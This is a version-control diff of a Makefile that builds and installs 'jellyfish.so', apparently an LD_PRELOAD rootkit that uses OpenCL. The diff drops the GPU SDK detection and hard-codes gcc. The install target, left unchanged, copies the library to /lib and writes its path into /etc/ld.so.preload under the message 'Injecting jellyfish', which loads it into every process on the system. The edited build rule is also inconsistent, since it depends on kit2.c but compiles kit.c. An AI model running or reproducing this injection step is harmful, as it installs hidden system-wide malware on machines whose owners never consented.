1 | 1 | | INSTALL=/lib |
2 | 2 | | |
| 3 | + | CC=gcc |
| 4 | + | |
3 | 5 | | LIBS= -lc -ldl -lOpenCL |
4 | 6 | | |
5 | | - | # check for 32 or 64 bit |
6 | | - | PROC_TYPE = $(strip $(shell uname -m | grep 64)) |
7 | | - | |
8 | | - | ifeq ($(PROC_TYPE),) |
9 | | - | CFlAGS += -m32 |
10 | | - | else |
11 | | - | CFLAGS += -m64 |
12 | | - | endif |
13 | | - | |
14 | | - | # check for AMD |
15 | | - | ifdef AMDAPPSDKROOT |
16 | | - | INC_DIRS = . $(AMDAPPSDKROOT)/include |
17 | | - | ifeq ($(PROC_TYPE),) |
18 | | - | LIB_DIRS=$(AMDAPPSDKROOT)/lib/x86 |
19 | | - | else |
20 | | - | LIB_DIRS=$(AMDAPPSDKROOT)/lib/x86_64 |
21 | | - | endif |
22 | | - | else |
23 | | - | |
24 | | - | # check for Nvidia |
25 | | - | ifdef CUDA |
26 | | - | INC_DIRS = . $(CUDA)/OpenCL/common/inc |
27 | | - | endif |
28 | | - | |
29 | | - | endif |
30 | | - | |
31 | 7 | | all: jellyfish.so |
32 | 8 | | |
33 | | - | jellyfish.so: kit.c |
34 | | - | $(CC) $(CFLAGS) -I $(INC_DIRS) -L $(LIB_DIRS) $(LIBS) -fPIC -g -c kit.c |
35 | | - | $(CC) -fPIC -shared -Wl, -soname,jellyfish.so kit.o -I $(INC_DIRS) -L $(LIB_DIRS) $(LIBS) -o jellyfish.so |
| 9 | + | jellyfish.so: kit2.c |
| 10 | + | $(CC) $(CFLAGS) -fPIC -g -c kit.c |
| 11 | + | $(CC) -fPIC -shared -Wl,-soname,jellyfish.so kit.o $(LIBS) -o jellyfish.so |
36 | 12 | | strip jellyfish.so |
37 | 13 | | |
38 | 14 | | install: all |
39 | | - | @test -d $(INSTALL) || mkdir $(INSTALL) |
40 | 15 | | @install -m 0755 jellyfish.so $(INSTALL)/ |
41 | | - | @echo [-] Injecting Jellyfish |
| 16 | + | @echo [-] Injecting jellyfish |
42 | 17 | | @echo $(INSTALL)/jellyfish.so > /etc/ld.so.preload |
43 | 18 | | |
44 | 19 | | clean: |
| skipped 2 lines |